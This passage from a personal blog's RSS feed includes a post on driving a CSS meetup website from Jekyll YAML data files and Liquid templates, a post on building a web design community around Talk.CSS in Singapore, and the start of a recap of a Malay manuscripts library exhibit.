&lt;p&gt;Some people even build their own, like my good friend, &lt;a href=&quot;https://zellwk.com/&quot;&gt;Zell Liew&lt;/a&gt;, who &lt;a href=&quot;https://www.youtube.com/watch?v=fAASq3U_cAU&quot;&gt;spoke about the experience&lt;/a&gt;. I&apos;m not one of those people. I discovered Jekyll when I first heard &lt;a href=&quot;http://www.maban.co.uk/&quot;&gt;Anna Debenham&lt;/a&gt; talk about it on &lt;a href=&quot;http://thewebahead.net/72&quot;&gt;Episode 72&lt;/a&gt; of &lt;a href=&quot;http://thewebahead.net/&quot;&gt;The Web Ahead podcast&lt;/a&gt;. I had been only using &lt;a href=&quot;https://www.drupal.org/&quot;&gt;Drupal&lt;/a&gt; at work and was intrigued by the idea of a flat file CMS.&lt;/p&gt;
&lt;h2&gt;Using data files in Jekyll&lt;/h2&gt;
&lt;p&gt;Cut to 3 years later and Jekyll is now on version version 3.6.2 as of time of writing, and things have changed quite a bit from June 2014, just look at their &lt;a href=&quot;https://jekyllrb.com/docs/history/&quot;&gt;change log over the years&lt;/a&gt;. The ability to store data in files was first introduced in 2013 for the 1.3.0 release. So it was already a feature by the time I picked up Jekyll.&lt;/p&gt;
&lt;p&gt;The first time I used it was to implement tags on this blog of mine. The resource I referenced was written by &lt;a href=&quot;http://www.minddust.com/&quot;&gt;Stephan Groß&lt;/a&gt; because my broke ass hosted (and still hosts) this site on &lt;a href=&quot;https://pages.github.com/&quot;&gt;GitHub Pages&lt;/a&gt; and I needed a solution that didn&apos;t rely on plugins. Stephan&apos;s post was literally the perfect answer to my question, namely &lt;a href=&quot;http://www.minddust.com/post/tags-and-categories-on-github-pages/&quot;&gt;How To Use Tags And Categories On GitHub Pages Without Plugins&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The documentation on Jekyll&apos;s site is pretty well-written and &lt;a href=&quot;https://jekyllrb.com/docs/datafiles/&quot;&gt;for basic use cases&lt;/a&gt;, they&apos;ve got you covered. Jeykll supports data contained in YAML, JSON and CSV files which are stored in a &lt;code&gt;_data&lt;/code&gt; directory in your root Jekyll project. In their words, Jeykll is a text transformation engine, so most of it&apos;s functionality is predicated on the project&apos;s &lt;a href=&quot;https://jekyllrb.com/docs/structure/&quot;&gt;directory structure&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Liquid template language&lt;/h2&gt;
&lt;p&gt;Jekyll uses &lt;a href=&quot;https://shopify.github.io/liquid/&quot;&gt;Liquid&lt;/a&gt; as it&apos;s templating language, so it does require Ruby to run, and this may put some people off. But like I said, the choices for static site generators are more than you can shake a stick at, so you do you and I&apos;ll use Jekyll.&lt;/p&gt;
&lt;p&gt;There are basic logic operators for control flow, &lt;code&gt;if&lt;/code&gt;, &lt;code&gt;elsif/else&lt;/code&gt;, &lt;code&gt;case/when&lt;/code&gt; and one that I hadn&apos;t seen before, &lt;code&gt;unless&lt;/code&gt;, which is the opposite of &lt;code&gt;if&lt;/code&gt; where a code block is executed only if a certain condition isn&apos;t met. Liquid doesn&apos;t have a &lt;code&gt;not&lt;/code&gt; operator, so &lt;code&gt;unless&lt;/code&gt; is the closest equivalent. It does make for some interesting control statements.&lt;/p&gt;
&lt;p&gt;We also have a couple of iterators to work with, &lt;code&gt;for&lt;/code&gt;, &lt;code&gt;cycle&lt;/code&gt; and &lt;code&gt;tablerow&lt;/code&gt;, and they come with parameters like &lt;code&gt;limit&lt;/code&gt;, &lt;code&gt;offset&lt;/code&gt; and &lt;code&gt;range&lt;/code&gt; that can be combined in different ways to make Jekyll quite flexible (at least for my use cases thus far). The &lt;a href=&quot;https://shopify.github.io/liquid/&quot;&gt;Liquid documentation&lt;/a&gt; is an useful reference as all of their standard tags and filters are supported in Jekyll.&lt;/p&gt;
&lt;p&gt;It is possible to create variables with the &lt;code&gt;assign&lt;/code&gt; tag and this becomes useful when you want to do things like access nested data in your convoluted data files (nah, that&apos;s just me, I&apos;m sure your files look great). There&apos;s also a &lt;code&gt;capture&lt;/code&gt; tag, which I don&apos;t usually use, but it allows you to create complex strings with other variables created from &lt;code&gt;assign&lt;/code&gt;. Read the docs &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;face with stuck-out tongue&quot;&gt;😛&lt;/span&gt;.&lt;/p&gt;
&lt;h2&gt;Reworking the SingaporeCSS website&lt;/h2&gt;
&lt;p&gt;The &lt;a href=&quot;https://singaporecss.github.io/&quot;&gt;SingaporeCSS&lt;/a&gt; website has always been a pet project of mine, even though I don&apos;t think anyone really visits the site, it&apos;s my baby and I love it regardless. SingaporeCSS organises Talk.CSS, which is the only CSS-centric meetup in Singapore, and sister meet-up to &lt;a href=&quot;https://www.meetup.com/Singapore-JS&quot;&gt;Talk.JS&lt;/a&gt;, our JavaScript-centric counterpart.&lt;/p&gt;
&lt;p&gt;We&apos;ve been around for 2 years now and will soon be having our 24th meetup, not too bad for something that started off as a &lt;a href=&quot;https://singaporecss.github.io/about/&quot;&gt;random chat in the KopiJS slack channel&lt;/a&gt;. As the online presence of a CSS meetup, I figured it&apos;d be a good chance to try out ALL THE THINGS. Specifically all the CSS things. #personalplayground&lt;/p&gt;
&lt;p&gt;As the site grew, it didn&apos;t make sense to keep writing the markup by hand, especially since every post was generally using a similar format. But I was lazy, so lazy. Until I finally decided to stop procrastinating and resolve this technical debt. Actually, I had wanted to create a page to list all past speakers but soon found the existing implementation made this idea infeasible.&lt;/p&gt;
&lt;p&gt;Each post has a section on videos, and a section on speakers. This has been standard from day 1. Along the way, I added a few segments, a HTML and CSS news for the month bit, a CSS colour of the month bit, and a soon-to-be-revived CSS grid demo of the month bit. The thing about the news segment is that sometimes it gets recorded as video, and sometimes it doesn&apos;t. There is always a write-up accessible from the GitHub repo though.&lt;/p&gt;
&lt;p&gt;Here&apos;s where Jekyll&apos;s truthy and falsy comes in really handy. Most of my conditionals involve checking if something exists or not, so my template will render only what shows up in the data entry. I ended up having 3 separate data files for my intents and purposes. One for speaker data, one for video data and one for meetup data.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;shiawuen:
  name: &amp;quot;Tan Shiaw Uen&amp;quot;
  twitter: &amp;quot;shiawuen&amp;quot;
  shortcode: &amp;quot;shiawuen&amp;quot;
  bio: &amp;quot;Shiaw Uen is a developer. He occasionally plants vegetables and makes soap.&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;s303:
  title: &amp;quot;CSS whack-a-mole&amp;quot;
  link: &amp;quot;https://youtu.be/7Nyi3Iwa4s4&amp;quot;
  shortcode: &amp;quot;s303&amp;quot;
  description: &amp;quot;Creating a game in pure CSS? Shiaw Uen schools us in the dark arts of the CSS checkbox hack.&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;3:
  videos:
    - ref: s301
    - ref: s302
    - ref: s303
  speakers:
    - ref: sayanee
    - ref: yongjun
    - ref: shiawuen
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The meetup entry eventually expanded to (or could be expanded to) something like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;15:
  colour:
    name: chartreuse
    hex: &amp;quot;#7fff00&amp;quot;
    rgba: rgba(127,255,0,1)
  videos:
    - ref: s1501
    - ref: s1502
    - ref: s1503
    - ref: s1504
  codepen:
    description: &amp;quot;This particular demo by &amp;lt;a href=&apos;http://jensimmons.com/&apos;&amp;gt;Jen Simmons&amp;lt;/a&amp;gt; is best viewed if you open it in another browser and resize to your heart&apos;s content. &amp;lt;a href=&apos;http://labs.jensimmons.com/2016/examples/mondrian-2.html&apos;&amp;gt;View it full page.&amp;lt;/a&amp;gt;&amp;quot;
    embed: &amp;quot;&amp;lt;p data-height=&apos;500&apos; data-theme-id=&apos;9162&apos; data-slug-hash=&apos;mrNvPZ&apos; data-default-tab=&apos;html,result&apos; data-user=&apos;jensimmons&apos; data-embed-version=&apos;2&apos; data-pen-title=&apos;Responsive Mondrian&apos; class=&apos;codepen&apos;&amp;gt;See the Pen &amp;lt;a href=&apos;https://codepen.io/jensimmons/pen/mrNvPZ/&apos;&amp;gt;Responsive Mondrian&amp;lt;/a&amp;gt; by Jen Simmons (&amp;lt;a href=&apos;http://codepen.io/jensimmons&apos;&amp;gt;@jensimmons&amp;lt;/a&amp;gt;) on &amp;lt;a href=&apos;http://codepen.io&apos;&amp;gt;CodePen&amp;lt;/a&amp;gt;.&amp;lt;/p&amp;gt;&amp;quot;
  speakers:
    - ref: sayanee
    - ref: cheeaun
    - ref: chris
    - ref: zell
    - ref: thomas
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I&apos;m sure there&apos;s a better way to do the CodePen embed, but I need some time to think it through. So the strategy here was to reference videos and speakers from the meetup data through their keys.&lt;/p&gt;
&lt;p&gt;We access the data from the files in the &lt;code&gt;_data&lt;/code&gt; folder using the syntax &lt;code&gt;site.data.FILENAME[key]&lt;/code&gt;, and to make things neater, I put this into a variable with the &lt;code&gt;assign&lt;/code&gt; tag.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{% assign meetup = site.data.meetups[page.meetup] %}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can then loop through the video entries in the meetup data file and use those values as keys in the videos data file like so:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{ for videos in meetup.videos %}
{% assign video = site.data.videos[videos.ref] %}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Within the loop, I ported in the original structure of each video entry. When this was done, I was kicking myself for not getting a move on and doing this sooner. Oh well, that&apos;s what laziness will do to you. Better late than never.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;div class=&amp;quot;c-video&amp;quot;&amp;gt;
  &amp;lt;a class=&amp;quot;c-video__link&amp;quot; href=&amp;quot;{{ video.link }}&amp;quot;&amp;gt;
    &amp;lt;img
      class=&amp;quot;c-video__img&amp;quot;
      src=&amp;quot;{{ site.url }}/assets/img/videos/talk-{{ page.meetup }}/{{ video.shortcode }}.jpg&amp;quot;
      srcset=&amp;quot;{{ site.url }}/assets/img/videos/talk-{{ page.meetup }}/{{ video.shortcode }}@2x.jpg 2x&amp;quot;
      alt=&amp;quot;Link to {{ video.title }} video&amp;quot;
    /&amp;gt;
  &amp;lt;/a&amp;gt;
  &amp;lt;p class=&amp;quot;c-video__desc&amp;quot;&amp;gt;{{ video.description }}&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For the remaining sections, it was a matter of checking if the meetup entry contained the relevant key, for either CSS news, CSS colour or a CodePen embed using the &lt;code&gt;if&lt;/code&gt; tag. For example, the CSS colour section looks like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;{% if meetup.colour %} {% assign colour = meetup.colour %}
&amp;lt;div class=&amp;quot;c-colour&amp;quot;&amp;gt;
  {% if colour.text %}
  &amp;lt;div class=&amp;quot;c-swatch&amp;quot; style=&amp;quot;background-color:{{ colour.hex }};color:{{ colour.text }}&amp;quot;&amp;gt;
    {% else %}
    &amp;lt;div class=&amp;quot;c-swatch&amp;quot; style=&amp;quot;background-color:{{ colour.hex }}&amp;quot;&amp;gt;
      {% endif %}
      &amp;lt;div class=&amp;quot;c-swatch__txt&amp;quot;&amp;gt;
        &amp;lt;p&amp;gt;{{ colour.name }}&amp;lt;/p&amp;gt;
        &amp;lt;p&amp;gt;{{ colour.hex }}&amp;lt;/p&amp;gt;
        &amp;lt;p&amp;gt;{{ colour.rgba }}&amp;lt;/p&amp;gt;
      &amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;
    &amp;lt;h4&amp;gt;CSS colour of the month&amp;lt;/h4&amp;gt;
  &amp;lt;/div&amp;gt;
  {% endif %}
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Gotchas and TILs&lt;/h2&gt;
&lt;p&gt;Amidst the trial and error, and largely due to my lack of familiarity with the YAML format, I learnt that indentation and dash notation in the data files do make a significant interest. When I had multiple videos nested within a meetup entry, each video entry had the same key, and those had to be prepended with a dash, however, different keys did not need the dash.&lt;/p&gt;
&lt;p&gt;So in a nutshell, this works:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;13:
  videos:
    - ref: s1301
    - ref: s1302
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But this does not:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;13:
  videos:
    ref: s1301
    ref: s1302
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There are also a number of useful helper variables for loops that help inject more logic into my templates. I&apos;m using grid for the speakers section, and the fallback utilises flexbox. When there are less than 3 speakers, the alignment is &lt;code&gt;flex-start&lt;/code&gt;, but when there are 3 or more speakers, the alignment is &lt;code&gt;space-between&lt;/code&gt;. And this is applied with a CSS class.&lt;/p&gt;
&lt;p&gt;The logic behind this is to catch the last iteration and count it, if that value is less than 3, there will be an extra alignment class like so:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;{% if forloop.index &amp;gt; 2 and forloop.last %}
&amp;lt;div class=&amp;quot;l-speakers c-speakers&amp;quot;&amp;gt;
  {% endif %} {% if forloop.index &amp;lt; 3 and forloop.last %}
  &amp;lt;div class=&amp;quot;l-speakers c-speakers u-align-start&amp;quot;&amp;gt;{% endif %}&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;The &lt;a href=&quot;https://singaporecss.github.io/&quot;&gt;SingaporeCSS&lt;/a&gt; website is totally open source and &lt;a href=&quot;https://github.com/SingaporeCSS/singaporecss.github.io&quot;&gt;hosted on GitHub&lt;/a&gt; so you can check it out if you are interested. And if you see something that can be improved on, pull requests are always welcome.&lt;/p&gt;
&lt;p&gt;Have a great 2018, everyone! &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person dancing&quot;&gt;💃&lt;/span&gt;&lt;/p&gt;
</content:encoded></item><item><title>Building a webic community</title><link>https://chenhuijing.com/blog/building-a-webic-community/</link><guid isPermaLink="true">https://chenhuijing.com/blog/building-a-webic-community/</guid><description>So this month, I met a lot of awesome people while attending my very first Mozilla All-Hands, among whom were Lin Clark and Jen Simmons. I&apos;m an unabashed…</description><pubDate>Thu, 28 Dec 2017 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;So this month, I met a lot of awesome people while attending my very first Mozilla All-Hands, among whom were &lt;a href=&quot;https://twitter.com/linclark&quot;&gt;Lin Clark&lt;/a&gt; and &lt;a href=&quot;http://jensimmons.com/&quot;&gt;Jen Simmons&lt;/a&gt;. I&apos;m an unabashed fangirl of both these women, but I kept my composure throughout the experience, because...attempted adulting.&lt;/p&gt;
&lt;p&gt;Anyway, if you&apos;ve read some of my blog posts or tweets (probably re-tweets), you&apos;ll realise that Jen is a huge source of inspiration for me. Maybe I should do some data analysis on how often I mention her, that&apos;d be interesting...(okay, I&apos;ll stop being distracted now)&lt;/p&gt;
&lt;p&gt;But the latest talk of hers that I watched was the one she gave at &lt;a href=&quot;http://uxburlington.com/&quot;&gt;UX Burlington&lt;/a&gt; earlier this year on “Designing with Grid”. You can (and I personally think, should) watch the full talk on Youtube and go through &lt;a href=&quot;https://speakerdeck.com/jensimmons/designing-with-grid-ux-burlington&quot;&gt;the slides&lt;/a&gt; at your own pace.&lt;/p&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/Gn3JOE6qMuE?rel=0&quot; frameborder=&quot;0&quot; gesture=&quot;media&quot; allow=&quot;encrypted-media&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;h2&gt;About that CSS grid...&lt;/h2&gt;
&lt;p&gt;It&apos;s been around 8 months since CSS grid has shipped, and as people start to pick it up and use it in their projects, we&apos;re starting to see more articles and talks about CSS grid. That&apos;s a good sign, because we do want CSS grid to become the industry standard for creating layouts on the web.&lt;/p&gt;
&lt;p&gt;My key resources for keeping up with CSS grid developments haven&apos;t changed though, and you probably have the same resources on your list (or maybe not):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://blogs.igalia.com/jfernandez/&quot;&gt;Javier Fernández&lt;/a&gt; and &lt;a href=&quot;https://blogs.igalia.com/mrego/&quot;&gt;Manuel Rego&lt;/a&gt; from &lt;a href=&quot;https://www.igalia.com/&quot;&gt;Igalia&lt;/a&gt;, which is the team responsible for implementing CSS grid in WebKit and Blink (I&apos;m pretty sure more members of the team are involved but these 2 gentlemen are more actively writing about their work on CSS grid)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://rachelandrew.co.uk/&quot;&gt;Rachel Andrew&lt;/a&gt;, who played a significant role in advocating for CSS grid to be implemented when almost no one else had even heard of it&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://fantasai.inkedblade.net/&quot;&gt;Elika J. Etemad&lt;/a&gt;, who is the editor of many, many, many CSS specifications, among which CSS grid is one of them&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://jensimmons.com/&quot;&gt;Jen Simmons&lt;/a&gt;, because she is constantly finding ways to push the envelope when it comes to designing for the web and always coming up with new ideas on how to teach these new technologies and change our industry for the better&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;A language OF the web&lt;/h2&gt;
&lt;p&gt;And if you didn&apos;t know before, you&apos;d have found out when you watched the UX Burlington talk, that Jen has a background in &lt;a href=&quot;https://youtu.be/Gn3JOE6qMuE?t=38m27s&quot;&gt;film and theatre production&lt;/a&gt;. Actually, she has a vast cross-disciplinary design experience that relatively few people can rival. That&apos;s what makes her perspective especially interesting.&lt;/p&gt;
&lt;p&gt;When she started talking about telling a story through the lens of a 16mm camera, it occurred to me that perhaps the closest medium to the web was not only print, but film as well. The concept of framing is so relevant to the viewport. Another key idea she proposed was for us to develop a &lt;em&gt;webic language&lt;/em&gt;, just like the film industry has a &lt;em&gt;filmic language&lt;/em&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;There&apos;s a filmic language, and you go to film school then you start to learn it. There&apos;s, I think, a webic language. There&apos;s some sort of &lt;strong&gt;language of the web&lt;/strong&gt;. Of what these things mean or what these choices mean. And I think it&apos;s going to be interesting to start slowly, &lt;strong&gt;together&lt;/strong&gt; over, you know, decades, figuring out what that is and being able to articulate it and use it with a bit more skill.&lt;br&gt;
—Jen Simmons&lt;/p&gt;
&lt;/blockquote&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Took some DevTools manipulation to get this screenshot...&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/webic-community/webic-language-480.jpg 480w, /images/posts/webic-community/webic-language-640.jpg 640w, /images/posts/webic-community/webic-language-960.jpg 960w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/webic-community/webic-language-640.jpg&quot; alt=&quot;Jen Simmons UX Burlington slide on developing a webic language&quot; /&gt;
&lt;/figure&gt;
&lt;p&gt;The reason I find Jen so compelling, is that she isn&apos;t prescriptive when she shares her ideas. She does not go around telling people that this one way is the best way to do something. Instead, she encourages her audience to think further, to figure things out together, to build on top of each other&apos;s creativity.&lt;/p&gt;
&lt;h2&gt;What is front-end?&lt;/h2&gt;
&lt;p&gt;If job descriptions are anything to go by, the term “front-end” seems to be this all-encompassing role that only the most magical of unicorns can hope to fulfil. In reality, I personally know a good number of people who work on the web with skills in areas that most recruiters don&apos;t know how to categorise.&lt;/p&gt;
&lt;p&gt;This is highly unfortunate, and makes me question our need to categorise everything into neat boxes. Guess what, life isn&apos;t neat. Sure, there are those who check off every box on the list of “must-have traits/skills to be a &lt;em&gt;INSERT TITLE HERE&lt;/em&gt;”, but there are plenty more who don&apos;t.&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot; data-lang=&quot;en-gb&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;Seems odd that people accept someone being good at CSS + design, but are mystified by the idea of someone good at CSS + ops.&lt;/p&gt;&lt;br /&gt;&amp;mdash; Rachel Andrew (@rachelandrew) &lt;a href=&quot;https://twitter.com/rachelandrew/status/908702015466950657?ref_src=twsrc%5Etfw&quot;&gt;15 September 2017&lt;/a&gt;&lt;/blockquote&gt;
&lt;p&gt;The field of front-end has yet to be defined, because our industry moves too quickly and the range of skills required seems to grow with every passing day. We need to realise that it is impossible to be an expert in every one of those skills, and &lt;strong&gt;that&apos;s perfectly fine&lt;/strong&gt;. I used to think I was an odd bird because I loved the sysadmin side of things as well as doing CSS. Glad to know I&apos;m not alone.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Convergence (1952) by Jackson Pollock&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/webic-community/convergence-480.jpg 480w, /images/posts/webic-community/convergence-640.jpg 640w, /images/posts/webic-community/convergence-960.jpg 960w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/webic-community/convergence-640.jpg&quot; alt=&quot;Convergence (1952) by Jackson Pollock&quot; /&gt;
&lt;/figure&gt;
&lt;p&gt;The front-end skill set is not discrete, where you only do one thing. Neither is it a spectrum, where you do several things that are adjacent to each other. It&apos;s more like a Jackson Pollock painting (during his drip period), sprawling and all over the place.&lt;/p&gt;
&lt;h2&gt;Stronger together (cliché but true)&lt;/h2&gt;
&lt;p&gt;The term “webic language” stuck with me. I&apos;ve always seen the web as a unique medium and for the web to have its own language makes perfect sense to me. But I want to take it further, maybe co-opt it a little bit. I want to build a webic community in Singapore. Together with all of you.&lt;/p&gt;
&lt;p&gt;I&apos;m the co-organiser of &lt;a href=&quot;https://singaporecss.github.io/&quot;&gt;Talk.CSS&lt;/a&gt;, Singapore&apos;s only CSS-centric meetup, which has miraculously been continually running without a hiatus for 2 years. Join me for a drink and I&apos;ll tell you all about why I think this is miraculous &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;ROFL&quot;&gt;🤣&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;If you read the thread of Rachel&apos;s tweet above, you can see that CSS is something that elicits a very wide range of responses. It is amazing, creative, dark magic, a beast to design, and that&apos;s just from this thread. I&apos;ve heard people say CSS is hard, CSS is easy, CSS is rubbish and doesn&apos;t make sense, CSS is intuitive and makes perfect sense. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person shrugging&quot;&gt;🤷&lt;/span&gt; #polarising&lt;/p&gt;
&lt;p&gt;Proficiency in CSS requires a mental model that is very different from what most popular programming languages utilise. And this quote by &lt;a href=&quot;https://twitter.com/dhuntrods&quot;&gt;Danielle Huntrods&lt;/a&gt; sums it up perfectly.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“CSS isn&apos;t a programming language. It&apos;s a stylesheet language. We shouldn&apos;t expect it to behave like a programming language. It has its own unique landscape and structures, ones that people with programming language mental maps might not expect.”&lt;br&gt;
—Danielle Huntrods&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Because CSS has matured immensely over the past 20 years, I found that a lot of the functionality that could only be written in JavaScript can now be done with CSS. And a lot of the functionality that software traditionally used for digital graphics, like Photoshop or Illustrator can now be done with CSS and SVG.&lt;/p&gt;
&lt;p&gt;I stand by my opinion that as long as you&apos;re designing something that lives on the web and is consumed via a browser, it is mandatory that you understand how a browser works, and how the web works.&lt;/p&gt;
&lt;p&gt;Do you need to know exactly what lines of code to write to achieve certain effects? No. But you do need to know exactly what can and cannot be done. And you also need to fully understand the implications of your design choices on the people who consume it.&lt;/p&gt;
&lt;p&gt;This is why Talk.CSS want to have more people who identify as designers in our audience. Especially designers who are used to designing for the web using tools like Sketch or Photoshop. We want to add another tool to your design toolbox: CSS. Our goal is for everyone who designs for the web to understand how it works.&lt;/p&gt;
&lt;h2&gt;Talk.CSS in the new year&lt;/h2&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Banner designed and maintained in the browser&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/webic-community/talkcss-480.png 480w, /images/posts/webic-community/talkcss-640.png 640w, /images/posts/webic-community/talkcss-960.png 960w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/webic-community/talkcss-640.png&quot; alt=&quot;Talk.CSS #24 banner&quot; /&gt;
&lt;/figure&gt;
&lt;p&gt;We didn&apos;t plan for it to turn out this way, but it just so happened that the first Talk.CSS of 2018 will be our biggest event to date. It&apos;s part of &lt;a href=&quot;https://2018.jsconf.asia/#events&quot;&gt;DevFest.Asia 2018&lt;/a&gt;, which is the week of tech meetups that lead up to &lt;a href=&quot;https://2018.jsconf.asia/&quot;&gt;JSConf.Asia 2018&lt;/a&gt; and we&apos;ve managed to snag &lt;a href=&quot;https://mandymichael.com/&quot;&gt;Mandy Michael&lt;/a&gt; and &lt;a href=&quot;https://stuffandnonsense.co.uk/&quot;&gt;Andy Clarke&lt;/a&gt;, in addition of our own &lt;a href=&quot;https://zellwk.com/&quot;&gt;Zell Liew&lt;/a&gt; and &lt;a href=&quot;https://twitter.com/sebdeckers&quot;&gt;Sebastiaan Deckers&lt;/a&gt; for a full 3-hour design and CSS extravaganza.&lt;/p&gt;
&lt;p&gt;It&apos;s going to be pretty awesome, so if you happen to be around during DevFest week, which is between 22–29 January, come join us! You can &lt;a href=&quot;https://www.eventnook.com/event/talkcssconference2018/&quot;&gt;get tickets right now&lt;/a&gt;, and we&apos;ll throw in a t-shirt plus coffee (the good kind). I really hope to see you there &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person gesturing ok&quot;&gt;🙆&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;For 2018, we&apos;d like to expand our audience, as well as talk topics to encompass more design-related topics to facilitate this conversation on what it means to design for the web. To make performance and accessibility something that comes up at the beginning of the design process, not hastily slapped on at the end.&lt;/p&gt;
&lt;p&gt;I&apos;m constantly saying to anyone who will listen, that Singapore has one of the strongest tech communities in the world, and I truly believe this. There are many factors that contribute to this and I will gladly write a full-length post talking about the Singapore tech community, but not this time. Talk.CSS is a part of this vibrant tech community and we want to do our part to help grow it.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Geekbrunch, because we like to gather, eat and talk&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/webic-community/geekbrunch-480.jpg 480w, /images/posts/webic-community/geekbrunch-640.jpg 640w, /images/posts/webic-community/geekbrunch-960.jpg 960w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/webic-community/geekbrunch-640.jpg&quot; alt=&quot;Geekbrunch #5&quot; /&gt;
&lt;/figure&gt;
&lt;p&gt;The tech industry &lt;a href=&quot;https://m.signalvnoise.com/move-slowly-and-fix-things-e5a560fd928b&quot;&gt;needs design more than ever&lt;/a&gt; and Southeast Asia is brimming with talented designers and developers who can definitely make a difference and offer an alternative perspective. Nobody is going to hand us a seat at the table, but we have to make our voices heard. Maybe it&apos;ll work, maybe it won&apos;t. But shame on me if I didn&apos;t even try.&lt;/p&gt;
&lt;p&gt;Let&apos;s do this.&lt;/p&gt;
&lt;p&gt;Slowly.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Together&lt;/strong&gt;.&lt;/p&gt;
</content:encoded></item><item><title>Recap of Tales of the Malay World</title><link>https://chenhuijing.com/blog/tales-of-the-malay-world/</link><guid isPermaLink="true">https://chenhuijing.com/blog/tales-of-the-malay-world/</guid><description>It is not a secret that I am a huge fan of Singapore&apos;s national libraries. Their selection of books and resources is amazing, with an excellent nation-wide…</description><pubDate>Thu, 21 Dec 2017 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;It is not a secret that I am a huge fan of &lt;a href=&quot;https://www.nlb.gov.sg/&quot;&gt;Singapore&apos;s national libraries&lt;/a&gt;. Their selection of books and resources is amazing, with an excellent nation-wide system that makes borrowing and returning books unbelievably convenient. They even fulfil book requests! It&apos;s not a fake form that gets submitted to the ether! &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person gesturing ok&quot;&gt;🙆&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;I could go on and on, but the point of today&apos;s post is to talk about one of the best exhibits I&apos;ve been to in a long time. There&apos;s an exhibit going on at the &lt;a href=&quot;https://www.google.com.sg/maps/place/National+Library/@1.2967797,103.8518113,17.49z/data=!4m5!3m4!1s0x0:0xf23dddaa8432afc5!8m2!3d1.2975881!4d103.8543083?hl=en&quot;&gt;National Library Building&lt;/a&gt; called &lt;em&gt;Tales of the Malay World&lt;/em&gt; that showcases a glorious collection of Malay manuscripts and early books. It started running from 18 August, 2017 and will end on 25 February, 2017 (if you&apos;re reading this after it ends, I&apos;m sorry, but I hope this post can give you a small taste of it).&lt;/p&gt;
